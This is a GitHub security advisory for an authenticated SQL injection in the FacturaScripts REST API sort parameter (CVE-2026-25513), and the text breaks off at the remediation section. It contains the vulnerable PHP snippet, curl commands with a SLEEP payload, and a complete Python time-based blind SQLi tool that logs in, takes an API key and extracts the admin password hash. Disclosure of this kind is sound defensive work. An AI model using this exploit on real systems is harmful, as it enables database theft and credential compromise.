GitHub Advisoryadvisory · Packagist

GHSA-cjfx-qhwm-hf99 FacturaScripts has SQL Injection in API ORDER BY Clause

HIGH Published 2026-02-03 Modified 2026-02-04 Official page ↗
Aliases
CVE-2026-25513
Ecosystem
Packagist
Packages
facturascripts/facturascripts
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Weaknesses
CWE-1286, CWE-20, CWE-89, CWE-943
Reviewed
2026-02-03

Affected packages

• Packagist facturascripts/facturascripts: < 2025.81 → fixed in 2025.81

Description

Summary FacturaScripts contains a critical SQL Injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality. --- Details The FacturaScripts REST API exposes database models through various endpoints (e.g., `/api/3/users`, `/api/3/attachedfiles`, `/api/3/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function. Vulnerable Code Locations 1. Legacy Models: File: `/Core/Model/Base/ModelClass.php` Method: `getOrderBy()` Direct concatenation of keys and values from the `$order` array. 2. Modern Models (DbQuery): File: `/Core/DbQuery.php` Method: `orderBy()` Lines: 255-259 ```php // If it contains parentheses, it is not escaped (VULNERABILITY!) if (strpos($field, '(') !== false && strpos($field, ')') !== false) { $this->orderBy[] = $field . ' ' . $order; return $this; } ``` This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection. --- Proof of Concept (PoC) Prerequisites • Valid API authentication token (X-Auth-Token header) • Access to FacturaScripts API endpoints Step-by-Step Verification (CLI) Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key. 1. Login and Retrieve a valid API key: We handle the CSRF token and session cookies to access the settings and retrieve the first available key. ```bash Login TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1) curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \ -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN" Find the ID of the first existing API key API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1) Extract the API key string using its ID API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1) echo "Using API Key: $API_KEY" ``` 2. Verify Time-Based SQL Injection: Use the extracted `API_KEY` in the `X-Auth-Token` header. ```bash Normal request (baseline) time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1" Injected request (SLEEP payload in the sort key) time curl -g -s -H "X-Auth-Token: $API_KEY" \ "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC" ``` Expected Result: The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection. --- Automated Exploitation Tool This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection. ```python import requests import time import string import re Configuration BASE_URL = "http://localhost:8091" USERNAME = "admin" PASSWORD = "admin" API_ENDPOINT = "/api/3/users" session = requests.Session() def get_token(url): """Extract multireqtoken from any page""" res = session.get(url) match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text) return match.group(1) if match else None def get_api_key(): """Logs in and retrieves the first active API key dynamically""" print(f"[*] Logging in as {USERNAME}...") # 1. Login flow token = get_token(f"{BASE_URL}/login") if not token: print("[!] Failed to get initial CSRF token") return None login_data = { "fsNick": USERNAME, "fsPassword": PASSWORD, "action": "login", "multireqtoken": token } res = session.post(f"{BASE_URL}/login", data=login_data) if "Dashboard" not in res.text: print("[!] Login failed!") return None print("[+] Login successful.") # 2. Retrieve API Key ID from settings print("[*] Accessing API settings...") res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey") id_match = re.search(r'EditApiKey\?code=(\d+)', res.text) if not id_match: print("[!] No API keys found in system!") return None api_id = id_match.group(1) # 3. Get the actual API key string print(f"[*] Retrieving API key for ID {api_id}...") res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}") key_match = re.search(r'name="apikey" value="([^"]+)"', res.text) if not key_match: print("[!] Failed to extract API key from page!") return None return key_match.group(1) def time_based_sqli(api_key, payload): """Execute time-based SQL injection and measure response time""" headers = {"X-Auth-Token": api_key} params = { 'limit': 1, f'sort[{payload}]': 'ASC' } start = time.time() try: requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10) except requests.exceptions.ReadTimeout: return 10.0 except: pass return time.time() - start def extract_data(api_key, query, length=60): """Extracts data char by char using time-based blind SQLi""" extracted = "" charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./" print(f"[*] Starting extraction for query: {query}") for i in range(1, length + 1): found = False for char in charset: # Added BINARY to force case-sensitive comparison payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))" elapsed = time_based_sqli(api_key, payload) if elapsed >= 2.0: extracted += char print(f"[+] Found char at pos {i}: {char} -> {extracted}") found = True break if not found: break return extracted def main(): print("="*60) print(" FacturaScripts Dynamic SQLi Exfiltration Tool") print("="*60) # 1. Get API Key dynamically api_key = get_api_key() if not api_key: return print(f"[+] Using API Key: {api_key}") # 2. Verify vulnerability print("[*] Verifying vulnerability...") if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0: print("[+] System is VULNERABLE!") else: print("[-] System not vulnerable or API key invalid.") return # 3. Extract Admin Password Hash admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'") print(f"\n[!] FINAL ADMIN HASH: {admin_hash}") if __name__ == "__main__": main() ``` --- Impact Data Confidentiality • Complete database disclosure through blind SQL Injection techniques • Extraction of sensitive data including: • User credentials and API keys • Customer PII (personal identifiable information) • Financial records and transaction data • Business intelligence and pricing information • System configuration and secrets Who is Impacted? • Organizations using FacturaScripts API for integrations • Mobile apps and third-party integrations using the API • All users whose data is accessible via API • Business partners with API access --- Recommended Fix Immediate Remediation **Option 1: Implement Strict Whitelist Validati…

Related

Alias · CVE (1)

  • CVE-2026-25513 FacturaScripts is open-source enterprise resource planning and accounting software. vulnerability

Weakness · CWE (4)

  • CWE-1286 Improper Validation of Syntactic Correctness of Input weakness
  • CWE-20 Improper Input Validation weakness
  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness
  • CWE-943 Improper Neutralization of Special Elements in Data Query Logic weakness

References